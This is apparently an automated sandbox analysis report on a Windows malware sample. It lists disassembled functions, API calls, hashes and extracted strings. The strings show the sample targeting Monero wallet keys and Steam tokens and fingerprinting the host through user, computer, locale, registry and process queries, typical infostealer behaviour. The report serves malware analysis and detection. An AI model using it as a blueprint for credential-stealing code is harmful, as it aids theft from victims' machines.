Instruction Fuzzy Hash: 29F05E74A0020CFBDB14DFA4DD4AFEE7779AB08700F004498BB0997290D6B0AE85CB94

Function 00401110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0040112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00401132
ExitProcess.KERNEL32 ref: 00401143

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 678cf5f3e7197d72abcfc3c147a4750855ebb5e345b53b76b616ef84aefebb1b
Instruction ID: 0e2e6d3d2f445679f77a7861b9af8e0e8f55b174cdb9f0aa425208459b8dc1b3
Opcode Fuzzy Hash: 678cf5f3e7197d72abcfc3c147a4750855ebb5e345b53b76b616ef84aefebb1b
Instruction Fuzzy Hash: 3DE08670945308FBE7205FA09C0AB4D76689B04B05F105056F708BA1E0C6B82501865C

Function 00411520 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420DFF,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlen.KERNEL32(?,01128880,?,\Monero\wallet.keys,00420DFF), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420DFF), ref: 0041A2D5

Part of subcall function 00416FA0: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00416FE2
Part of subcall function 00416FA0: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041701F
Part of subcall function 00416FA0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004170A3
Part of subcall function 00416FA0: RtlAllocateHeap.NTDLL(00000000), ref: 004170AA

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 00417130: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417144
Part of subcall function 00417130: RtlAllocateHeap.NTDLL(00000000), ref: 0041714B

Part of subcall function 00417260: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0041D5B0,000000FF,?,004117A9,00000000,?,0112D610,00000000,?), ref: 00417292
Part of subcall function 00417260: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0041D5B0,000000FF,?,004117A9,00000000,?,0112D610,00000000,?), ref: 00417299

Part of subcall function 004172F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
Part of subcall function 004172F0: RtlAllocateHeap.NTDLL(00000000), ref: 00417327
Part of subcall function 004172F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

Part of subcall function 00417380: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004173B0
Part of subcall function 00417380: RtlAllocateHeap.NTDLL(00000000), ref: 004173B7
Part of subcall function 00417380: GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Part of subcall function 00417420: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DD0,00000000,?), ref: 00417450
Part of subcall function 00417420: RtlAllocateHeap.NTDLL(00000000), ref: 00417457
Part of subcall function 00417420: GetLocalTime.KERNEL32(?,?,?,?,?,00420DD0,00000000,?), ref: 00417464
Part of subcall function 00417420: wsprintfA.USER32 ref: 00417493

Part of subcall function 004174D0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0112E9F8,00000000,?,00420DE0,00000000,?,00000000,00000000), ref: 00417503
Part of subcall function 004174D0: RtlAllocateHeap.NTDLL(00000000), ref: 0041750A
Part of subcall function 004174D0: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0112E9F8,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041751D

Part of subcall function 004175A0: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,0112E9F8,00000000,?,00420DE0,00000000,?,00000000,00000000), ref: 004175D5

Part of subcall function 00417630: GetKeyboardLayoutList.USER32(00000000,00000000,0042059F), ref: 00417681
Part of subcall function 00417630: LocalAlloc.KERNEL32(00000040,?), ref: 00417699
Part of subcall function 00417630: GetKeyboardLayoutList.USER32(?,00000000), ref: 004176AD
Part of subcall function 00417630: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417702
Part of subcall function 00417630: LocalFree.KERNEL32(00000000), ref: 004177C2

Part of subcall function 00417820: GetSystemPowerStatus.KERNEL32(?), ref: 0041784D

GetCurrentProcessId.KERNEL32(00000000,?,0112D370,00000000,?,00420DF4,00000000,?,00000000,00000000,?,0112EA70,00000000,?,00420DF0,00000000), ref: 00411B8E

Part of subcall function 00418F10: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00418F24
Part of subcall function 00418F10: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00418F45
Part of subcall function 00418F10: CloseHandle.KERNEL32(00000000), ref: 00418F4F

Part of subcall function 004178A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004178D7
Part of subcall function 004178A0: RtlAllocateHeap.NTDLL(00000000), ref: 004178DE
Part of subcall function 004178A0: RegOpenKeyExA.KERNEL32(80000002,0111BA88,00000000,00020119,?), ref: 004178FE
Part of subcall function 004178A0: RegQueryValueExA.KERNEL32(?,0112D2F0,00000000,00000000,000000FF,000000FF), ref: 0041791F
Part of subcall function 004178A0: RegCloseKey.ADVAPI32(?), ref: 00417932

Part of subcall function 00417A00: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00417A69
Part of subcall function 00417A00: GetLastError.KERNEL32 ref: 00417A78

Part of subcall function 00417970: GetSystemInfo.KERNEL32(00420DFC), ref: 004179A0
Part of subcall function 00417970: wsprintfA.USER32 ref: 004179B6

Part of subcall function 00417BA0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0112EB60,00000000,?,00420DFC,00000000,?,00000000), ref: 00417BD0
Part of subcall function 00417BA0: RtlAllocateHeap.NTDLL(00000000), ref: 00417BD7
Part of subcall function 00417BA0: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00417BF8
Part of subcall function 00417BA0: __aulldiv.LIBCMT ref: 00417C12
Part of subcall function 00417BA0: __aulldiv.LIBCMT ref: 00417C20
Part of subcall function 00417BA0: wsprintfA.USER32 ref: 00417C4C

Part of subcall function 00418260: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DF8,00000000,?), ref: 004182CF
Part of subcall function 00418260: RtlAllocateHeap.NTDLL(00000000), ref: 004182D6
Part of subcall function 00418260: wsprintfA.USER32 ref: 004182F0

Part of subcall function 00417DC0: RegOpenKeyExA.KERNEL32(00000000,0112A838,00000000,00020019,00000000,004205A6), ref: 00417E44

Part of subcall function 00417DC0: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00417EC6
Part of subcall function 00417DC0: wsprintfA.USER32 ref: 00417EF9
Part of subcall function 00417DC0: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00417F1B
Part of subcall function 00417DC0: RegCloseKey.ADVAPI32(00000000), ref: 00417F2C
Part of subcall function 00417DC0: RegCloseKey.ADVAPI32(00000000), ref: 00417F39

Part of subcall function 00418120: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0041816A
Part of subcall function 00418120: Process32First.KERNEL32(?,00000128), ref: 0041817E
Part of subcall function 00418120: Process32Next.KERNEL32(?,00000128), ref: 00418193
Part of subcall function 00418120: FindCloseChangeNotification.KERNEL32(?), ref: 00418201

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0041216B

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$Process$Allocate$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$AllocChangeComputerCreateDefaultDirectoryEnumErrorFileFindFirstFreeGlobalHandleLastLogicalMemoryModuleNextNotificationPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 1011861169-0
Opcode ID: c09ef034fae5b619fa8ced3f3bedcc36e7cb02ac08a45c06d17f3ba4253c9507
Instruction ID: a9f6d0abc10a802bc737c54d14ff6b9d5e6ee0272f4c656d6212d3eaa4757419
Opcode Fuzzy Hash: c09ef034fae5b619fa8ced3f3bedcc36e7cb02ac08a45c06d17f3ba4253c9507
Instruction Fuzzy Hash: 8472A071851018AACB19FB91DC96EDEB33CAF24314F5042DFB51762051EF782B98CB6A

Function 00406D90 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 872a4a1b9ca8527694fba9f08aaebf7415f9895aa0b1b3dc9ddda06b3a72de49
Instruction ID: 456806d1e879ecad470b616e27b80e03465aa0a519357bc85acbc9acecad2077
Opcode Fuzzy Hash: 872a4a1b9ca8527694fba9f08aaebf7415f9895aa0b1b3dc9ddda06b3a72de49
Instruction Fuzzy Hash: 116127B4900209DFCB14DF94E944BEEB7B0BB48304F1185AAE80677380D779AEA5DF95

Function 00414BE0 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420DFF,00000000), ref: 0041A158

Part of subcall function 0041A1F0: lstrlen.KERNEL32(00404F55,?,?,00404F55,00420DC6), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420DC6,00000000), ref: 0041A255

lstrlen.KERNEL32(00000000,00000000,00420AB3), ref: 00414C0A

Strings

steam_tokens.txt, xrefs: 00414C1F

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 2c77b0de846891d342dbe4e989139430e4425b618d0825b6ff94677a4beeafaa
Instruction ID: 43ba9c4e7b772c09295c3d1ddd3f4580462a4fb142283e9dc1187fbec7936fd0
Opcode Fuzzy Hash: 2c77b0de846891d342dbe4e989139430e4425b618d0825b6ff94677a4beeafaa
Instruction Fuzzy Hash: 48F01271D1110876CB04F7B2EC579ED733CAE54358F90426EF41662092EF78665886AB

Function 00417970 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00420DFC), ref: 004179A0
wsprintfA.USER32 ref: 004179B6

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: b67a8d3803bdbcef095136fe51fb218f504635533fc880d72ddeb760f53951d8
Instruction ID: e5f7882cf5308591a3a92d8d4ad10ccbd8a019f3ce2acafa6204cd8ee8253483
Opcode Fuzzy Hash: b67a8d3803bdbcef095136fe51fb218f504635533fc880d72ddeb760f53951d8
Instruction Fuzzy Hash: 2DF0C2B1A00618EBCB10CF88ED45FAAB7BDFB08724F50066AF50492280D7785904CB94

Function 0040B370 Relevance: 2.9, APIs: 2, Instructions: 387stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420DFF,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlen.KERNEL32(?,01128880,?,\Monero\wallet.keys,00420DFF), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420DFF), ref: 0041A2D5

Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrlen.KERNEL32(00000000), ref: 0040B820
lstrlen.KERNEL32(00000000), ref: 0040B834

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID:
API String ID: 3073930149-0
Opcode ID: 5ecb5f247428d4aa1c1906eb45757fa44d965a1c132848089ff7deebfe59999a
Instruction ID: 12fecfe212cb7392b3f17e260ebd7fbbf5924c22592aec839546a7360daeb2af
Opcode Fuzzy Hash: 5ecb5f247428d4aa1c1906eb45757fa44d965a1c132848089ff7deebfe59999a
Instruction Fuzzy Hash: 5DE12272911118ABCB14EBA1CC96EEE7339BF14314F40415EF507721A1EF786B98CB6A

Function 0040AD70 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420DFF,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlen.KERNEL32(?,01128880,?,\Monero\wallet.keys,00420DFF), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420DFF), ref: 0041A2D5

lstrlen.KERNEL32(00000000), ref: 0040AFEA
lstrlen.KERNEL32(00000000), ref: 0040AFFE

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
